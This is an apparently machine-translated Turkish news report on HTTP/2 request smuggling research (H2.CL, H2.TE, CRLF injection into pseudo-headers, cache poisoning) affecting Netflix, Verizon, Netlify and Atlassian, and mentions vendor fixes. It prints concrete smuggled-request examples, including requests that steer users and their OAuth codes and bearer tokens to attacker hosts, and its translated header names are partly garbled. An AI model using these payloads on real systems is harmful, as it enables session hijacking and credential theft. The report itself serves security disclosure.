Ön ucun bağlantıları HTTP/2 aracılığıyla kabul ettiği ve bunları HTTP/1.1 aracılığıyla arka uca ilettiği web sistemleri, özel olarak tasarlanmış istemci istekleri göndererek, "HTTP İstek Kaçakçılığı" saldırısının yeni bir versiyonuna maruz kaldı. Ön uç ve arka uç arasında aynı akışta işlenen diğer kullanıcılardan gelen isteklerin içeriğini sıkıştırın. Saldırı, meşru bir web sitesindeki oturuma kötü amaçlı JavaScript kodu eklemek, erişim kısıtlama sistemlerini atlamak ve kimlik doğrulama parametrelerine müdahale etmek için kullanılabilir.
Sorun, web proxy'lerini, yük dengeleyicileri, web hızlandırıcıları, içerik dağıtım sistemlerini ve isteklerin ön uçtan arka uca yönlendirildiği diğer yapılandırmaları etkilemektedir. Araştırmanın yazarı, Netflix, Verizon, Bitbucket, Netlify CDN ve Atlassian'ın sistemlerine saldırı olasılığını ortaya koydu ve güvenlik açıklarını tespit ettiği için 56 bin dolarlık ödül programı aldı. Sorun F5 Networks ürünlerinde de doğrulandı. Sorun, Apache http sunucusundaki (CVE-2021-33193) mod_proxy'yi kısmen etkiliyor, 2.4.49 sürümünde bir düzeltme bekleniyor (geliştiricilere sorun Mayıs ayı başlarında bildirildi ve düzeltmeleri için 3 ay süre verildi). Nginx'te, son sürümde (1.21.1) "İçerik Uzunluğu" ve "Aktarım Kodlaması" başlıklarını aynı anda belirtme yeteneği engellendi. Saldırı araçları Burp araç setine zaten dahil edilmiştir ve Turbo Intruder uzantısı biçiminde mevcuttur.
İstekleri trafiğe sıkıştırmaya yönelik yeni yöntemin çalışma prensibi, aynı araştırmacının iki yıl önce tespit ettiği güvenlik açığına benziyor ancak HTTP/1.1 üzerinden istekleri kabul eden ön uçlarla sınırlı. Ön uç-arka uç şemasında, istemci isteklerinin ek bir düğüm tarafından alındığını hatırlayalım - arka uçla uzun ömürlü bir TCP bağlantısı kuran ve istekleri doğrudan işleyen ön uç. Bu ortak bağlantı aracılığıyla, genellikle HTTP protokolü aracılığıyla ayrılan, zinciri birbiri ardına takip eden farklı kullanıcılardan gelen istekler iletilir.
Klasik "HTTP İstek Kaçakçılığı" saldırısı, ön uçların ve arka uçların "Content-Length" (istekteki verilerin toplam boyutunu belirler) ve "Transfer-Encoding: parçalanmış" (isteğe bağlı) HTTP başlıklarının kullanımını yorumlaması gerçeğine dayanıyordu. parçalar halinde aktarılacak veriler) farklı şekilde. Örneğin, ön uç yalnızca "Content-Length"i destekliyor ancak "Transfer-Encoding: chunked"ı yoksayıyorsa, saldırgan hem "Content-Length" hem de "Transfer-Encoding: chunked" başlıklarını içeren bir istek gönderebilir, ancak "İçerik Uzunluğu" boyutu parçalı zincirin boyutuyla eşleşmiyor. Bu durumda ön uç, isteği “İçerik-Uzunluğu”na uygun olarak işleyecek ve yönlendirecek, arka uç ise “Aktarım-Encoding: chunked”a göre bloğun tamamlanmasını bekleyecek ve saldırganın isteğinin kalan kuyruğu bir başkasının bir sonraki iletilen isteğinin başında olması.
Satır düzeyinde ayrıştırılan metin protokolü HTTP/1.1'in aksine, HTTP/2 ikili bir protokoldür ve önceden belirlenmiş boyuttaki veri bloklarını yönetir. Ancak HTTP/2, normal HTTP üstbilgilerine karşılık gelen sözde üstbilgileri kullanır. HTTP/1.1 protokolü aracılığıyla arka uçla etkileşim olması durumunda, ön uç bu sözde başlıkları benzer HTTP üstbilgileri HTTP/1.1'e çevirir. Sorun, arka ucun, orijinal isteğin parametreleri hakkında bilgi sahibi olmadan, ön uç tarafından belirlenen HTTP üstbilgilerine dayanarak akışı ayrıştırma konusunda kararlar almasıdır.
Özellikle “içerik uzunluğu” ve “aktarım kodlaması” değerleri, tüm verilerin boyutu belirlendiğinden HTTP/2'de kullanılmamasına rağmen sözde başlıklar biçiminde iletilebilir. ayrı bir alanda. Ancak bir HTTP/2 isteğini HTTP/1.1'e dönüştürme işlemi sırasında bu başlıklar taşınır ve arka ucun kafasını karıştırabilir. İki ana saldırı çeşidi vardır: H2.TE ve H2.CL; burada arka uç, ön uç tarafından ön uç tarafından alınan istek gövdesinin gerçek boyutuna karşılık gelmeyen hatalı bir aktarım kodlaması veya içerik uzunluğu değeriyle yanıltılır. HTTP/2 protokolü.
H2.CL saldırısına bir örnek, Netflix'e bir HTTP/2 isteği gönderirken içerik uzunluğu sözde başlığında yanlış bir boyut belirtmektir. Bu istek, HTTP/1.1 aracılığıyla arka uca erişirken benzer bir HTTP üstbilgisi Content-Length'in eklenmesine yol açar, ancak Content-Length'teki boyut gerçek olandan daha az belirtildiğinden, kuyruktaki verilerin bir kısmı işlenir. bir sonraki isteğin başlangıcı.
Örneğin, istek HTTP/2 :yöntem POST :yol /n :yetki www.netflix.com içerik uzunluğu 4 abcdGET /n HTTP/1.1 Ana Bilgisayar: 02.rs?x.netflix.com Foo: bar
Arka uca bir istek gönderilmesiyle sonuçlanacaktır: POST /n HTTP/1.1 Ana Bilgisayar: www.netflix.com İçerik Uzunluğu: 4 abcdGET /n HTTP/1.1 Ana Bilgisayar: 02.rs?x.netflix.com Foo: bar
Content-Length'in değeri 4 olduğundan, arka uç isteğin gövdesi olarak yalnızca "abcd"yi kabul edecek ve "GET /n HTTP/1.1..."in geri kalanı sonraki isteğin başlangıcı olarak işlenecektir. başka bir kullanıcıyla ilişkilendirilmiş. Buna göre akışın senkronizasyonu bozulacak ve bir sonraki talebe yanıt olarak sahte talebin işlenmesinin sonucu yayınlanacaktır. Netflix örneğinde, sahte bir istekte "Ana Bilgisayar:" başlığında üçüncü taraf bir ana bilgisayarın belirtilmesi, istemcinin "Konum: https://02.rs?x.netflix.com/n" yanıtını döndürmesiyle sonuçlandı ve Netflix sitesi bağlamında JavaScript kodunuzu çalıştırma dahil olmak üzere istemciye rastgele içerik gönderilmesine izin verildi.
İkinci saldırı seçeneği (H2.TE), "Transfer-Encoding: chunked" başlığının değiştirilmesini içerir. HTTP/2'de aktarım kodlama sözde başlığının kullanımı, spesifikasyon tarafından yasaklanmıştır ve onunla yapılan isteklerin yanlış olarak değerlendirilmesi öngörülmüştür. Buna rağmen, bazı ön uç uygulamaları bu gereksinimi dikkate almaz ve HTTP/2'de benzer bir HTTP başlığına dönüştürülen aktarım kodlamalı sözde başlığın kullanılmasına izin verir. Bir "Aktarım Kodlaması" başlığı varsa, arka uç bunu daha yüksek bir öncelik olarak alabilir ve "{size}\r\n{block" biçimindeki farklı boyutlardaki blokları kullanarak verileri "yığınlanmış" modda parça parça ayrıştırabilir. }\r\n{boyut} \r\n{blok}\r\n0", genel boyuta göre ilk bölünmeye rağmen.
Böyle bir boşluğun varlığı Verizon örneğiyle ortaya kondu. Sorun, Huffington Post ve Engadget gibi sitelerde de kullanılan kimlik doğrulama portalı ve içerik yönetim sistemiyle ilgiliydi. Örneğin, HTTP/2 aracılığıyla bir istemci isteği: :method POST :path /identitfy/XUI :authority id.b2b.oath.com aktarım kodlaması parçalanmış 0 GET /oops HTTP/1.1 Ana Bilgisayar: psres.net İçerik Uzunluğu: 10 x=
Arka uca bir HTTP/1.1 isteği gönderilmesiyle sonuçlandı: POST /identity/XUI HTTP/1.1 Ana Bilgisayar: id.b2b.oath.com İçerik Uzunluğu: 66 Aktarım Kodlaması: parçalanmış 0 GET /oops HTTP/1.1 Ana Bilgisayar: psres. net İçerik- Uzunluk: 10x=
Arka uç ise "Content-Length" başlığını göz ardı etti ve "Aktarım Kodlaması: yığınlanmış" temeline dayalı olarak yayın içi bölme gerçekleştirdi. Uygulamada saldırı, parametreleri Referer başlığında görüntülenen OAuth kimlik doğrulamasıyla ilgili isteklerin ele geçirilmesi, bir kimlik doğrulama oturumunun simüle edilmesi ve kullanıcının sisteminin kimlik bilgilerini göndermesi için tetiklenmesi de dahil olmak üzere kullanıcı isteklerini web sitelerine yönlendirmeyi mümkün kıldı. saldırganın ev sahibine. GET /b2blanding/show/oops HTTP/1.1 Ana Bilgisayar: psres.net Yönlendiren: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Ana Bilgisayar: psres.net Yetkilendirme: Taşıyıcı eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Aktarım kodlama sözde başlığının belirtilmesine izin vermeyen HTTP/2 uygulamalarına saldırmak için, "Transfer Kodlama" başlığını yeni satır karakteriyle ayrılmış diğer sözde başlıklara ekleyerek değiştirmeyi içeren başka bir yöntem önerilmiştir ( HTTP/1.1'e dönüştürüldüğünde bu durumda iki ayrı HTTP başlığı oluşturulur).
Örneğin, Atlassian Jira ve Netlify CDN (Firefox'ta Mozilla başlangıç sayfasını sunmak için kullanılır) bu sorundan etkilenmiştir. Özellikle, HTTP/2 isteği :method POST :path / :authority start.mozilla.org foo b\r\n aktarım kodlaması: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Ana Bilgisayar : evil-netlify-domain\r\n İçerik Uzunluğu: 5\r\n \r\nx=
HTTP/1.1 POST / HTTP/1.1 isteğinin arka uca gönderilmesiyle sonuçlandı\r\n Ana Bilgisayar: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Ana Bilgisayar: evil-netlify-domain\r\n İçerik Uzunluğu: 5\r\n \r \nx=
"Transfer-Kodlama" başlığını değiştirmek için başka bir seçenek de onu başka bir sözde başlığın adına veya bir istek yöntemiyle bir satıra eklemekti. Örneğin, Atlassian Jira'ya erişirken, "chunked" değerine sahip "foo: bar\r\ntransfer-encoding" sözde başlık adı, "foo: bar" ve "transfer-encoding: chunked" HTTP üstbilgilerinin eklenmesine neden oldu ve sözde başlık ":method" değerinin belirtilmesi "GET / HTTP/1.1\r\nTransfer-encoding: chunked", "GET / HTTP/1.1\r\ntransfer-encoding: chunked" olarak çevrildi.
Sorunu tanımlayan araştırmacı ayrıca ön uçlara saldırmak için her IP adresinin arka uçla ayrı bir bağlantı kurduğu ve farklı kullanıcılardan gelen trafiğin karışmadığı bir istek tünelleme tekniği de önerdi. Önerilen teknik, diğer kullanıcılardan gelen isteklere müdahale edilmesine izin vermez, ancak diğer isteklerin işlenmesini etkileyen paylaşılan bir önbelleğin zehirlenmesini mümkün kılar ve hizmet bilgilerini ön uçtan arka uca aktarmak için kullanılan dahili HTTP başlıklarının değiştirilmesine izin verir ( örneğin, ön uçta kimlik doğrulaması yaparken, bu tür başlıklar mevcut kullanıcı hakkındaki bilgileri arka uca iletebilir). Yöntemin pratikte uygulanmasına bir örnek olarak, önbellek zehirlenmesi kullanılarak Bitbucket hizmetindeki sayfalar üzerinde kontrol elde etmek mümkün oldu.
Kaynak: opennet.ru